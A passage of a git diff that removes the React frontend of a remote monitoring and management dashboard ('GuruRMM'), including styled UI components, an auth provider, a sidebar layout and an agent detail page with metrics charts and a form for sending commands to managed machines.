|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
);
|
||||
CardFooter.displayName = "CardFooter";
|
||||
|
||||
export { Card, CardHeader, CardTitle, CardDescription, CardContent, CardFooter };
|
||||
@@ -1,109 +0,0 @@
|
||||
import { InputHTMLAttributes, forwardRef } from "react";
|
||||
import { cn } from "../lib/utils";
|
||||
|
||||
/**
|
||||
* Mission Control Input Component
|
||||
* Dark background with cyan focus glow
|
||||
*/
|
||||
|
||||
export interface InputProps extends InputHTMLAttributes<HTMLInputElement> {
|
||||
error?: boolean;
|
||||
}
|
||||
|
||||
const Input = forwardRef<HTMLInputElement, InputProps>(
|
||||
({ className, type, error = false, ...props }, ref) => {
|
||||
return (
|
||||
<input
|
||||
type={type}
|
||||
className={cn(
|
||||
// Base styles
|
||||
"flex h-10 w-full rounded-lg px-4 py-2",
|
||||
"font-mono text-sm",
|
||||
// Dark background
|
||||
"bg-slate-900/50 backdrop-blur-sm",
|
||||
// Border
|
||||
"border border-slate-700",
|
||||
// Text colors
|
||||
"text-slate-100",
|
||||
// Placeholder
|
||||
"placeholder:text-slate-500",
|
||||
// Transitions
|
||||
"transition-all duration-200 ease-out",
|
||||
// File input styles
|
||||
"file:border-0 file:bg-slate-800 file:text-slate-300 file:text-sm file:font-medium file:mr-4 file:py-1 file:px-3 file:rounded-md",
|
||||
// Focus state: cyan border + outer glow + subtle background lighten
|
||||
"focus-visible:outline-none",
|
||||
"focus-visible:border-cyan-500",
|
||||
"focus-visible:ring-4 focus-visible:ring-cyan-500/30",
|
||||
"focus-visible:bg-slate-900/70",
|
||||
// Disabled state
|
||||
"disabled:cursor-not-allowed disabled:opacity-50 disabled:bg-slate-900/30",
|
||||
// Error state: rose border + rose glow
|
||||
error && [
|
||||
"border-rose-500",
|
||||
"ring-4 ring-rose-500/30",
|
||||
"focus-visible:border-rose-500",
|
||||
"focus-visible:ring-rose-500/30",
|
||||
],
|
||||
className
|
||||
)}
|
||||
ref={ref}
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
}
|
||||
);
|
||||
Input.displayName = "Input";
|
||||
|
||||
/**
|
||||
* Textarea variant with same Mission Control styling
|
||||
*/
|
||||
export interface TextareaProps extends React.TextareaHTMLAttributes<HTMLTextAreaElement> {
|
||||
error?: boolean;
|
||||
}
|
||||
|
||||
const Textarea = forwardRef<HTMLTextAreaElement, TextareaProps>(
|
||||
({ className, error = false, ...props }, ref) => {
|
||||
return (
|
||||
<textarea
|
||||
className={cn(
|
||||
// Base styles
|
||||
"flex min-h-[120px] w-full rounded-lg px-4 py-3",
|
||||
"font-mono text-sm",
|
||||
// Dark background
|
||||
"bg-slate-900/50 backdrop-blur-sm",
|
||||
// Border
|
||||
"border border-slate-700",
|
||||
// Text colors
|
||||
"text-slate-100",
|
||||
// Placeholder
|
||||
"placeholder:text-slate-500",
|
||||
// Transitions
|
||||
"transition-all duration-200 ease-out",
|
||||
// Resize handle
|
||||
"resize-y",
|
||||
// Focus state
|
||||
"focus-visible:outline-none",
|
||||
"focus-visible:border-cyan-500",
|
||||
"focus-visible:ring-4 focus-visible:ring-cyan-500/30",
|
||||
"focus-visible:bg-slate-900/70",
|
||||
// Disabled state
|
||||
"disabled:cursor-not-allowed disabled:opacity-50 disabled:bg-slate-900/30",
|
||||
// Error state
|
||||
error && [
|
||||
"border-rose-500",
|
||||
"ring-4 ring-rose-500/30",
|
||||
"focus-visible:border-rose-500",
|
||||
"focus-visible:ring-rose-500/30",
|
||||
],
|
||||
className
|
||||
)}
|
||||
ref={ref}
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
}
|
||||
);
|
||||
Textarea.displayName = "Textarea";
|
||||
|
||||
export { Input, Textarea };
|
||||
@@ -1,291 +0,0 @@
|
||||
import { ReactNode, useState } from "react";
|
||||
import { Link, useLocation, useNavigate } from "react-router-dom";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import { commandsApi, Command } from "../api/client";
|
||||
import {
|
||||
LayoutDashboard,
|
||||
Server,
|
||||
Settings,
|
||||
LogOut,
|
||||
Menu,
|
||||
X,
|
||||
Building2,
|
||||
MapPin,
|
||||
History,
|
||||
CheckCircle,
|
||||
XCircle,
|
||||
Clock,
|
||||
Loader2,
|
||||
} from "lucide-react";
|
||||
import { useAuth } from "../hooks/useAuth";
|
||||
import { Button } from "./Button";
|
||||
|
||||
interface LayoutProps {
|
||||
children: ReactNode;
|
||||
}
|
||||
|
||||
const navItems = [
|
||||
{ path: "/", label: "Dashboard", icon: LayoutDashboard },
|
||||
{ path: "/clients", label: "Clients", icon: Building2 },
|
||||
{ path: "/sites", label: "Sites", icon: MapPin },
|
||||
{ path: "/agents", label: "Agents", icon: Server },
|
||||
{ path: "/settings", label: "Settings", icon: Settings },
|
||||
];
|
||||
|
||||
const APP_VERSION = "0.2.0";
|
||||
const SERVER_VERSION = "0.1.0";
|
||||
|
||||
function CommandStatusIcon({ status }: { status: Command["status"] }) {
|
||||
const config = {
|
||||
pending: { icon: Clock, color: "text-amber-500" },
|
||||
running: { icon: Loader2, color: "text-cyan-500 animate-spin" },
|
||||
completed: { icon: CheckCircle, color: "text-emerald-500" },
|
||||
failed: { icon: XCircle, color: "text-rose-500" },
|
||||
};
|
||||
const { icon: Icon, color } = config[status];
|
||||
return <Icon className={`h-3 w-3 ${color}`} />;
|
||||
}
|
||||
|
||||
export function Layout({ children }: LayoutProps) {
|
||||
const [sidebarOpen, setSidebarOpen] = useState(false);
|
||||
const location = useLocation();
|
||||
const navigate = useNavigate();
|
||||
const { user, logout } = useAuth();
|
||||
|
||||
const { data: commands = [] } = useQuery({
|
||||
queryKey: ["commands"],
|
||||
queryFn: () => commandsApi.list().then((res) => res.data),
|
||||
refetchInterval: 15000,
|
||||
});
|
||||
|
||||
const recentCommands = commands.slice(0, 4);
|
||||
|
||||
const handleLogout = () => {
|
||||
logout();
|
||||
navigate("/login");
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="min-h-screen bg-slate-950">
|
||||
{/* Subtle grid pattern background */}
|
||||
<div
|
||||
className="fixed inset-0 pointer-events-none"
|
||||
style={{
|
||||
backgroundImage: `
|
||||
linear-gradient(rgba(6, 182, 212, 0.03) 1px, transparent 1px),
|
||||
linear-gradient(90deg, rgba(6, 182, 212, 0.03) 1px, transparent 1px)
|
||||
`,
|
||||
backgroundSize: "50px 50px",
|
||||
}}
|
||||
/>
|
||||
|
||||
{/* Mobile header */}
|
||||
<div className="lg:hidden fixed top-0 left-0 right-0 z-50 flex items-center justify-between px-4 py-3 bg-slate-900/80 backdrop-blur-xl border-b border-cyan-500/20">
|
||||
<span className="font-bold text-lg tracking-wider bg-gradient-to-r from-cyan-400 to-blue-500 bg-clip-text text-transparent">
|
||||
GURUR<span className="text-cyan-400">MM</span>
|
||||
</span>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
onClick={() => setSidebarOpen(!sidebarOpen)}
|
||||
className="text-slate-400 hover:text-cyan-400 hover:bg-cyan-500/10 transition-all duration-300"
|
||||
>
|
||||
{sidebarOpen ? <X className="h-5 w-5" /> : <Menu className="h-5 w-5" />}
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
{/* Mobile menu overlay with blur */}
|
||||
<div
|
||||
className={`fixed inset-0 z-40 lg:hidden transition-all duration-300 ${
|
||||
sidebarOpen
|
||||
? "opacity-100 pointer-events-auto"
|
||||
: "opacity-0 pointer-events-none"
|
||||
}`}
|
||||
>
|
||||
<div
|
||||
className="absolute inset-0 bg-slate-950/80 backdrop-blur-md"
|
||||
onClick={() => setSidebarOpen(false)}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="flex relative">
|
||||
{/* Sidebar - Mission Control Aesthetic */}
|
||||
<aside
|
||||
className={`fixed inset-y-0 left-0 z-50 w-60 transform transition-all duration-300 ease-out lg:translate-x-0 lg:static ${
|
||||
sidebarOpen ? "translate-x-0" : "-translate-x-full"
|
||||
}`}
|
||||
>
|
||||
{/* Glassmorphism sidebar container */}
|
||||
<div className="flex flex-col h-full bg-slate-900/60 backdrop-blur-xl border-r border-cyan-500/20 shadow-[inset_0_0_30px_rgba(6,182,212,0.05)]">
|
||||
{/* Cyan left border glow */}
|
||||
<div className="absolute left-0 top-0 bottom-0 w-[2px] bg-gradient-to-b from-transparent via-cyan-500/50 to-transparent" />
|
||||
|
||||
{/* Logo section */}
|
||||
<div className="p-4 hidden lg:block">
|
||||
<div className="flex items-center gap-3">
|
||||
{/* Logo icon with glow */}
|
||||
<div className="relative">
|
||||
<div className="absolute inset-0 bg-cyan-500/30 blur-lg rounded-lg" />
|
||||
<div className="relative h-8 w-8 rounded-lg bg-gradient-to-br from-cyan-500 to-blue-600 flex items-center justify-center shadow-lg shadow-cyan-500/20">
|
||||
<LayoutDashboard className="h-4 w-4 text-white" />
|
||||
</div>
|
||||
</div>
|
||||
{/* Logo text with gradient */}
|
||||
<div>
|
||||
<h1 className="text-lg font-bold tracking-wider">
|
||||
<span className="bg-gradient-to-r from-cyan-400 via-cyan-300 to-blue-400 bg-clip-text text-transparent">
|
||||
GURU
|
||||
</span>
|
||||
<span className="text-slate-300">RMM</span>
|
||||
</h1>
|
||||
<p className="text-[10px] uppercase tracking-[0.2em] text-slate-500">
|
||||
Mission Control
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Navigation */}
|
||||
<nav className="flex-1 px-2 space-y-0.5 mt-4 lg:mt-2 pt-16 lg:pt-0">
|
||||
{navItems.map((item) => {
|
||||
const isActive = location.pathname === item.path;
|
||||
return (
|
||||
<Link
|
||||
key={item.path}
|
||||
to={item.path}
|
||||
onClick={() => setSidebarOpen(false)}
|
||||
className={`group relative flex items-center gap-2 px-3 py-2 rounded-lg text-xs font-semibold uppercase tracking-wider transition-all duration-300 ${
|
||||
isActive
|
||||
? "text-cyan-400"
|
||||
: "text-slate-400 hover:text-slate-200"
|
||||
}`}
|
||||
>
|
||||
{/* Active/Hover background glow */}
|
||||
<div
|
||||
className={`absolute inset-0 rounded-lg transition-all duration-300 ${
|
||||
isActive
|
||||
? "bg-cyan-500/10 shadow-[inset_0_0_20px_rgba(6,182,212,0.1)]"
|
||||
: "bg-transparent group-hover:bg-cyan-500/5"
|
||||
}`}
|
||||
/>
|
||||
|
||||
{/* Active left border indicator */}
|
||||
<div
|
||||
className={`absolute left-0 top-2 bottom-2 w-[3px] rounded-full transition-all duration-300 ${
|
||||
isActive
|
||||
? "bg-cyan-400 shadow-[0_0_10px_rgba(6,182,212,0.8)]"
|
||||
: "bg-transparent"
|
||||
}`}
|
||||
/>
|
||||
|
||||
{/* Icon with conditional glow */}
|
||||
<div className="relative z-10">
|
||||
<item.icon
|
||||
className={`h-4 w-4 transition-all duration-300 ${
|
||||
isActive
|
||||
? "text-cyan-400 drop-shadow-[0_0_8px_rgba(6,182,212,0.8)]"
|
||||
: "text-slate-500 group-hover:text-slate-300"
|
||||
}`}
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Label */}
|
||||
<span className="relative z-10">{item.label}</span>
|
||||
|
||||
{/* Active indicator dot */}
|
||||
{isActive && (
|
||||
<div className="absolute right-4 h-1.5 w-1.5 rounded-full bg-cyan-400 shadow-[0_0_6px_rgba(6,182,212,0.8)]" />
|
||||
)}
|
||||
</Link>
|
||||
);
|
||||
})}
|
||||
</nav>
|
||||
|
||||
{/* User profile section */}
|
||||
<div className="p-3 border-t border-cyan-500/10">
|
||||
<div className="flex items-center gap-2 mb-3 p-2 rounded-lg bg-slate-800/30">
|
||||
{/* Avatar with cyan ring glow */}
|
||||
<div className="relative">
|
||||
{/* Glow ring */}
|
||||
<div className="absolute -inset-1 bg-gradient-to-r from-cyan-500 to-blue-500 rounded-full opacity-50 blur-sm" />
|
||||
{/* Avatar */}
|
||||
<div className="relative h-8 w-8 rounded-full bg-gradient-to-br from-slate-700 to-slate-800 ring-2 ring-cyan-500/50 flex items-center justify-center text-cyan-400 text-sm font-bold shadow-lg">
|
||||
{user?.name?.[0] || user?.email?.[0] || "U"}
|
||||
</div>
|
||||
{/* Online indicator */}
|
||||
<div className="absolute -bottom-0.5 -right-0.5 h-3 w-3 rounded-full bg-emerald-500 ring-2 ring-slate-900 shadow-[0_0_8px_rgba(16,185,129,0.6)]" />
|
||||
</div>
|
||||
|
||||
{/* User info */}
|
||||
<div className="flex-1 min-w-0">
|
||||
<p className="text-sm font-medium text-slate-200 truncate">
|
||||
{user?.name || user?.email}
|
||||
</p>
|
||||
<p className="text-xs text-cyan-500/70 uppercase tracking-wider truncate">
|
||||
{user?.role || "Operator"}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Sign out button */}
|
||||
<Button
|
||||
variant="ghost"
|
||||
className="w-full justify-start gap-2 px-3 py-2 text-xs font-semibold uppercase tracking-wider text-slate-400 hover:text-red-400 hover:bg-red-500/10 rounded-lg transition-all duration-300 group"
|
||||
onClick={handleLogout}
|
||||
>
|
||||
<LogOut className="h-4 w-4 transition-all duration-300 group-hover:text-red-400 group-hover:drop-shadow-[0_0_6px_rgba(239,68,68,0.6)]" />
|
||||
Sign Out
|
||||
</Button>
|
||||
|
||||
{/* History log */}
|
||||
<div className="mt-2 pt-2 border-t border-slate-800/50">
|
||||
<Link
|
||||
to="/history"
|
||||
className="flex items-center gap-1.5 px-1 py-1 text-[10px] font-mono text-slate-500 hover:text-cyan-400 transition-colors"
|
||||
>
|
||||
<History className="h-3 w-3" />
|
||||
<span>History</span>
|
||||
</Link>
|
||||
|
||||
<div className="mt-1 space-y-0.5">
|
||||
{recentCommands.length === 0 ? (
|
||||
<p className="text-[10px] text-slate-600 px-1">No recent activity</p>
|
||||
) : (
|
||||
recentCommands.map((cmd: Command) => (
|
||||
<Link
|
||||
key={cmd.id}
|
||||
to={`/history/${cmd.id}`}
|
||||
className="flex items-center gap-1.5 px-1 py-0.5 rounded text-[10px] hover:bg-slate-800/50 transition-colors"
|
||||
title={cmd.command_text}
|
||||
>
|
||||
<CommandStatusIcon status={cmd.status} />
|
||||
<span className="text-slate-500 hover:text-slate-400 truncate flex-1 font-mono">
|
||||
{cmd.command_text.length > 18
|
||||
? cmd.command_text.slice(0, 18) + "..."
|
||||
: cmd.command_text}
|
||||
</span>
|
||||
</Link>
|
||||
))
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Version info */}
|
||||
<div className="mt-2 pt-2 border-t border-slate-800/50 text-[10px] font-mono text-slate-600 flex justify-between px-1">
|
||||
<span>UI v{APP_VERSION}</span>
|
||||
<span>API v{SERVER_VERSION}</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
{/* Main content area */}
|
||||
<main className="flex-1 min-h-screen pt-16 lg:pt-0">
|
||||
<div className="p-4 lg:p-6 transition-all duration-300">
|
||||
{children}
|
||||
</div>
|
||||
</main>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,71 +0,0 @@
|
||||
import { createContext, useContext, useState, useEffect, ReactNode } from "react";
|
||||
import { User, authApi, getToken, clearToken } from "../api/client";
|
||||
|
||||
interface AuthContextType {
|
||||
user: User | null;
|
||||
isAuthenticated: boolean;
|
||||
isLoading: boolean;
|
||||
login: (email: string, password: string) => Promise<void>;
|
||||
register: (email: string, password: string, name?: string) => Promise<void>;
|
||||
logout: () => void;
|
||||
}
|
||||
|
||||
const AuthContext = createContext<AuthContextType | null>(null);
|
||||
|
||||
export function AuthProvider({ children }: { children: ReactNode }) {
|
||||
const [user, setUser] = useState<User | null>(null);
|
||||
const [isLoading, setIsLoading] = useState(true);
|
||||
|
||||
// Check authentication status on mount
|
||||
useEffect(() => {
|
||||
const checkAuth = async () => {
|
||||
const token = getToken();
|
||||
if (token) {
|
||||
try {
|
||||
const res = await authApi.me();
|
||||
setUser(res.data);
|
||||
} catch {
|
||||
// Token is invalid or expired, clear it
|
||||
clearToken();
|
||||
setUser(null);
|
||||
}
|
||||
}
|
||||
setIsLoading(false);
|
||||
};
|
||||
|
||||
checkAuth();
|
||||
}, []);
|
||||
|
||||
const login = async (email: string, password: string) => {
|
||||
const response = await authApi.login({ email, password });
|
||||
// Token is automatically stored by authApi.login
|
||||
setUser(response.user);
|
||||
};
|
||||
|
||||
const register = async (email: string, password: string, name?: string) => {
|
||||
const response = await authApi.register({ email, password, name });
|
||||
// Token is automatically stored by authApi.register
|
||||
setUser(response.user);
|
||||
};
|
||||
|
||||
const logout = () => {
|
||||
authApi.logout();
|
||||
setUser(null);
|
||||
};
|
||||
|
||||
const isAuthenticated = authApi.isAuthenticated();
|
||||
|
||||
return (
|
||||
<AuthContext.Provider value={{ user, isAuthenticated, isLoading, login, register, logout }}>
|
||||
{children}
|
||||
</AuthContext.Provider>
|
||||
);
|
||||
}
|
||||
|
||||
export function useAuth() {
|
||||
const context = useContext(AuthContext);
|
||||
if (!context) {
|
||||
throw new Error("useAuth must be used within an AuthProvider");
|
||||
}
|
||||
return context;
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,6 +0,0 @@
|
||||
import { clsx, type ClassValue } from "clsx";
|
||||
import { twMerge } from "tailwind-merge";
|
||||
|
||||
export function cn(...inputs: ClassValue[]) {
|
||||
return twMerge(clsx(inputs));
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
import { StrictMode } from 'react'
|
||||
import { createRoot } from 'react-dom/client'
|
||||
import './index.css'
|
||||
import App from './App.tsx'
|
||||
|
||||
createRoot(document.getElementById('root')!).render(
|
||||
<StrictMode>
|
||||
<App />
|
||||
</StrictMode>,
|
||||
)
|
||||
@@ -1,449 +0,0 @@
|
||||
import { useState, FormEvent } from "react";
|
||||
import { useParams, Link } from "react-router-dom";
|
||||
import { useQuery, useMutation } from "@tanstack/react-query";
|
||||
import {
|
||||
ArrowLeft,
|
||||
Send,
|
||||
Cpu,
|
||||
HardDrive,
|
||||
Network,
|
||||
MemoryStick,
|
||||
Clock,
|
||||
User,
|
||||
Globe,
|
||||
Wifi,
|
||||
Activity,
|
||||
} from "lucide-react";
|
||||
import {
|
||||
LineChart,
|
||||
Line,
|
||||
XAxis,
|
||||
YAxis,
|
||||
CartesianGrid,
|
||||
Tooltip,
|
||||
ResponsiveContainer,
|
||||
Legend,
|
||||
} from "recharts";
|
||||
import { agentsApi, commandsApi, Metrics, AgentState } from "../api/client";
|
||||
import { Card, CardHeader, CardTitle, CardContent } from "../components/Card";
|
||||
import { Button } from "../components/Button";
|
||||
import { Input } from "../components/Input";
|
||||
|
||||
function MetricCard({
|
||||
title,
|
||||
value,
|
||||
icon: Icon,
|
||||
unit,
|
||||
subValue,
|
||||
}: {
|
||||
title: string;
|
||||
value: number | string | null;
|
||||
icon: React.ComponentType<{ className?: string }>;
|
||||
unit: string;
|
||||
subValue?: string;
|
||||
}) {
|
||||
return (
|
||||
<Card>
|
||||
<CardContent className="pt-6">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<p className="text-sm text-[hsl(var(--muted-foreground))]">{title}</p>
|
||||
<p className="text-2xl font-bold">
|
||||
{value !== null ? `${typeof value === "number" ? value.toFixed(1) : value}${unit}` : "-"}
|
||||
</p>
|
||||
{subValue && (
|
||||
<p className="text-xs text-[hsl(var(--muted-foreground))]">{subValue}</p>
|
||||
)}
|
||||
</div>
|
||||
<Icon className="h-8 w-8 text-[hsl(var(--muted-foreground))]" />
|
||||
</div>
|
||||
</CardContent>
|
||||
</Card>
|
||||
);
|
||||
}
|
||||
|
||||
function formatUptime(seconds: number): string {
|
||||
const days = Math.floor(seconds / 86400);
|
||||
const hours = Math.floor((seconds % 86400) / 3600);
|
||||
const minutes = Math.floor((seconds % 3600) / 60);
|
||||
|
||||
if (days > 0) {
|
||||
return `${days}d ${hours}h ${minutes}m`;
|
||||
} else if (hours > 0) {
|
||||
return `${hours}h ${minutes}m`;
|
||||
} else {
|
||||
return `${minutes}m`;
|
||||
}
|
||||
}
|
||||
|
||||
function formatIdleTime(seconds: number): string {
|
||||
if (seconds < 60) return `${seconds}s`;
|
||||
if (seconds < 3600) return `${Math.floor(seconds / 60)}m`;
|
||||
return `${Math.floor(seconds / 3600)}h ${Math.floor((seconds % 3600) / 60)}m`;
|
||||
}
|
||||
|
||||
function formatBytes(bytes: number): string {
|
||||
if (bytes < 1024) return `${bytes} B`;
|
||||
if (bytes < 1024 * 1024) return `${(bytes / 1024).toFixed(1)} KB`;
|
||||
if (bytes < 1024 * 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
|
||||
return `${(bytes / 1024 / 1024 / 1024).toFixed(1)} GB`;
|
||||
}
|
||||
|
||||
function MetricsChart({ metrics }: { metrics: Metrics[] }) {
|
||||
// Reverse to show oldest first, take last 60 points
|
||||
const chartData = [...metrics]
|
||||
.reverse()
|
||||
.slice(-60)
|
||||
.map((m) => ({
|
||||
time: new Date(m.timestamp).toLocaleTimeString([], { hour: "2-digit", minute: "2-digit" }),
|
||||
cpu: m.cpu_percent,
|
||||
memory: m.memory_percent,
|
||||
}));
|
||||
|
||||
if (chartData.length === 0) {
|
||||
return (
|
||||
<div className="h-64 flex items-center justify-center text-[hsl(var(--muted-foreground))]">
|
||||
No metrics data available
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<ResponsiveContainer width="100%" height={250}>
|
||||
<LineChart data={chartData}>
|
||||
<CartesianGrid strokeDasharray="3 3" stroke="hsl(var(--border))" />
|
||||
<XAxis
|
||||
dataKey="time"
|
||||
stroke="hsl(var(--muted-foreground))"
|
||||
tick={{ fontSize: 12 }}
|
||||
interval="preserveStartEnd"
|
||||
/>
|
||||
<YAxis
|
||||
domain={[0, 100]}
|
||||
stroke="hsl(var(--muted-foreground))"
|
||||
tick={{ fontSize: 12 }}
|
||||
tickFormatter={(v) => `${v}%`}
|
||||
/>
|
||||
<Tooltip
|
||||
contentStyle={{
|
||||
backgroundColor: "hsl(var(--card))",
|
||||
border: "1px solid hsl(var(--border))",
|
||||
borderRadius: "8px",
|
||||
}}
|
||||
labelStyle={{ color: "hsl(var(--foreground))" }}
|
||||
/>
|
||||
<Legend />
|
||||
<Line
|
||||
type="monotone"
|
||||
dataKey="cpu"
|
||||
name="CPU %"
|
||||
stroke="#3b82f6"
|
||||
strokeWidth={2}
|
||||
dot={false}
|
||||
/>
|
||||
<Line
|
||||
type="monotone"
|
||||
dataKey="memory"
|
||||
name="Memory %"
|
||||
stroke="#10b981"
|
||||
strokeWidth={2}
|
||||
dot={false}
|
||||
/>
|
||||
</LineChart>
|
||||
</ResponsiveContainer>
|
||||
);
|
||||
}
|
||||
|
||||
function NetworkInterfacesCard({ state }: { state: AgentState | null }) {
|
||||
if (!state?.network_interfaces || state.network_interfaces.length === 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle className="flex items-center gap-2">
|
||||
<Wifi className="h-5 w-5" />
|
||||
Network Interfaces
|
||||
</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<div className="space-y-4">
|
||||
{state.network_interfaces.map((iface, idx) => (
|
||||
<div key={idx} className="border-b border-[hsl(var(--border))] pb-3 last:border-0 last:pb-0">
|
||||
<div className="font-medium">{iface.name}</div>
|
||||
{iface.mac_address && (
|
||||
<div className="text-xs text-[hsl(var(--muted-foreground))] font-mono">
|
||||
MAC: {iface.mac_address}
|
||||
</div>
|
||||
)}
|
||||
<div className="mt-1 space-y-1">
|
||||
{iface.ipv4_addresses.map((ip, i) => (
|
||||
<div key={i} className="text-sm font-mono text-[hsl(var(--primary))]">
|
||||
{ip}
|
||||
</div>
|
||||
))}
|
||||
{iface.ipv6_addresses.slice(0, 2).map((ip, i) => (
|
||||
<div key={i} className="text-xs font-mono text-[hsl(var(--muted-foreground))]">
|
||||
{ip}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</CardContent>
|
||||
</Card>
|
||||
);
|
||||
}
|
||||
|
||||
export function AgentDetail() {
|
||||
const { id } = useParams<{ id: string }>();
|
||||
const [command, setCommand] = useState("");
|
||||
const [commandType, setCommandType] = useState("shell");
|
||||
|
||||
const { data: agent, isLoading: agentLoading } = useQuery({
|
||||
queryKey: ["agent", id],
|
||||
queryFn: () => agentsApi.get(id!).then((res) => res.data),
|
||||
enabled: !!id,
|
||||
});
|
||||
|
||||
// Get more metrics for the chart (last 2 hours = 120 data points at 1min intervals)
|
||||
const { data: metrics = [] } = useQuery({
|
||||
queryKey: ["agent-metrics", id],
|
||||
queryFn: () => agentsApi.getMetrics(id!, 2).then((res) => res.data),
|
||||
enabled: !!id,
|
||||
refetchInterval: 30000,
|
||||
});
|
||||
|
||||
const { data: agentState } = useQuery({
|
||||
queryKey: ["agent-state", id],
|
||||
queryFn: () => agentsApi.getState(id!).then((res) => res.data).catch(() => null),
|
||||
enabled: !!id,
|
||||
refetchInterval: 60000,
|
||||
});
|
||||
|
||||
const latestMetrics = metrics[0] as Metrics | undefined;
|
||||
|
||||
const sendCommandMutation = useMutation({
|
||||
mutationFn: (cmd: { command_type: string; command: string }) =>
|
||||
commandsApi.send(id!, cmd),
|
||||
onSuccess: () => {
|
||||
setCommand("");
|
||||
},
|
||||
});
|
||||
|
||||
const handleSendCommand = (e: FormEvent) => {
|
||||
e.preventDefault();
|
||||
if (!command.trim()) return;
|
||||
sendCommandMutation.mutate({ command_type: commandType, command });
|
||||
};
|
||||
|
||||
if (agentLoading) {
|
||||
return (
|
||||
<div className="flex items-center justify-center h-64">
|
||||
<p className="text-[hsl(var(--muted-foreground))]">Loading agent...</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (!agent) {
|
||||
return (
|
||||
<div className="space-y-4">
|
||||
<Link to="/agents" className="flex items-center gap-2 text-[hsl(var(--primary))]">
|
||||
<ArrowLeft className="h-4 w-4" />
|
||||
Back to agents
|
||||
</Link>
|
||||
<p className="text-[hsl(var(--muted-foreground))]">Agent not found.</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// Use agent state for extended info, fallback to latest metrics
|
||||
const uptime = agentState?.uptime_seconds ?? latestMetrics?.uptime_seconds;
|
||||
const publicIp = agentState?.public_ip ?? latestMetrics?.public_ip;
|
||||
const loggedInUser = agentState?.logged_in_user ?? latestMetrics?.logged_in_user;
|
||||
const idleTime = agentState?.user_idle_seconds ?? latestMetrics?.user_idle_seconds;
|
||||
|
||||
return (
|
||||
<div className="space-y-6">
|
||||
{/* Header */}
|
||||
<div className="flex items-center gap-4">
|
||||
<Link to="/agents" className="text-[hsl(var(--primary))]">
|
||||
<ArrowLeft className="h-5 w-5" />
|
||||
</Link>
|
||||
<div>
|
||||
<h1 className="text-3xl font-bold">{agent.hostname}</h1>
|
||||
<p className="text-[hsl(var(--muted-foreground))]">
|
||||
{agent.os_type} {agent.os_version && `(${agent.os_version})`}
|
||||
</p>
|
||||
</div>
|
||||
<span
|
||||
className={`ml-auto px-3 py-1 rounded-full text-sm font-medium ${
|
||||
agent.status === "online"
|
||||
? "bg-green-100 text-green-800"
|
||||
: agent.status === "error"
|
||||
? "bg-red-100 text-red-800"
|
||||
: "bg-gray-100 text-gray-800"
|
||||
}`}
|
||||
>
|
||||
{agent.status}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Primary Metrics */}
|
||||
<div className="grid gap-4 md:grid-cols-2 lg:grid-cols-4">
|
||||
<MetricCard
|
||||
title="CPU Usage"
|
||||
value={latestMetrics?.cpu_percent ?? null}
|
||||
icon={Cpu}
|
||||
unit="%"
|
||||
/>
|
||||
<MetricCard
|
||||
title="Memory Usage"
|
||||
value={latestMetrics?.memory_percent ?? null}
|
||||
icon={MemoryStick}
|
||||
unit="%"
|
||||
subValue={latestMetrics?.memory_used_bytes ? formatBytes(latestMetrics.memory_used_bytes) : undefined}
|
||||
/>
|
||||
<MetricCard
|
||||
title="Disk Usage"
|
||||
value={latestMetrics?.disk_percent ?? null}
|
||||
icon={HardDrive}
|
||||
unit="%"
|
||||
subValue={latestMetrics?.disk_used_bytes ? formatBytes(latestMetrics.disk_used_bytes) : undefined}
|
||||
/>
|
||||
<MetricCard
|
||||
title="Network RX"
|
||||
value={
|
||||
latestMetrics?.network_rx_bytes
|
||||
? (latestMetrics.network_rx_bytes / 1024 / 1024).toFixed(1)
|
||||
: null
|
||||
}
|
||||
icon={Network}
|
||||
unit=" MB"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Extended Info */}
|
||||
<div className="grid gap-4 md:grid-cols-2 lg:grid-cols-4">
|
||||
<MetricCard
|
||||
title="Uptime"
|
||||
value={uptime ? formatUptime(uptime) : null}
|
||||
icon={Clock}
|
||||
unit=""
|
||||
/>
|
||||
<MetricCard
|
||||
title="Public IP"
|
||||
value={publicIp ?? null}
|
||||
icon={Globe}
|
||||
unit=""
|
||||
/>
|
||||
<MetricCard
|
||||
title="Logged In User"
|
||||
value={loggedInUser ?? null}
|
||||
icon={User}
|
||||
unit=""
|
||||
/>
|
||||
<MetricCard
|
||||
title="User Idle"
|
||||
value={idleTime !== undefined && idleTime !== null ? formatIdleTime(idleTime) : null}
|
||||
icon={Activity}
|
||||
unit=""
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Usage Chart */}
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle>CPU & Memory Usage (Last 2 Hours)</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<MetricsChart metrics={metrics} />
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
